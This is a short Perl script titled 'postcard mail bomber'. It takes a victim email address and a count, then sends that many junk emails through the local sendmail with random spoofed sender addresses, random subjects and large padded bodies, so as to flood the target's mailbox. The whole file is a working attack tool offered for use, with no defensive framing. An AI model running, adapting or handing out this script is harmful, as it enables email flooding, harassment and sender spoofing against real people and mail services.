#!/usr/bin/perl
#==^
#% 
#% postcard mail bomber
#% floods the shit out
#% of the mail box.
#%
#% by ech0 [nios]
#% x25.cc
#%
# --
#===============================>

$b=' [1;34m';
$r=' [0m';
$n = '/usr/sbin/sendmail'; #% path to sendmail
$i = $ARGV[0];
$o = $ARGV[1];
$s = "postcard by ech0 [nios]
Usage: $0 [victim] [amount]
-[".$b."victim".$r."] targets email ex.  gates\@microsoft.com
-[".$b."amount".$r."] amount of emails tto be sent\n";


if(@ARGV == '0' || @ARGV < 2) { die($s); }

if ($i =~ /(@.*@)|(\.\.)|(@\.)|(\.@)|(^\.)/ || 
$i !~ /^.+\@(\[?)[a-zA-Z0-9\-\.]+\.([a-zA-Z]{2,3}|[0-9]{1,3})(\]?)$/) 
{ 
print "[".$b."error".$r."] bad format\n"; exit(); 
}
else {

my @nios = ('a'..'z');

for ($x=1; $x<=$o; $x++) {
$u = $nios[int(rand(32))] . $nios[int(rand(32))] . $nios[int(rand(32))];
$e = $nios[int(rand(32))] . $nios[int(rand(32))] . $nios[int(rand(32))] . $nios[int(rand(32))] . $nios[int(rand(32))];
$na = $nios[int(rand(32))] . $nios[int(rand(32))] . $nios[int(rand(32))] . $nios[int(rand(32))] . $nios[int(rand(32))];
$sx = "$u$na$e"x250;

open (Ni0S, "|$n -t");
print Ni0S "Content-Type: text/plain; charset=windows-1251\n";
print Ni0S "To: $i\n";
print Ni0S "From: $na\@$e.$u\n";
print Ni0S "Subject: $u$e\n";
print Ni0S "$sx\n$sx\n$e$sx\n$u\n";
print Ni0S "\n";
close (Ni0S);

} 

print "sent: $o\n";
print "targ: $i\n";
}
#--EOF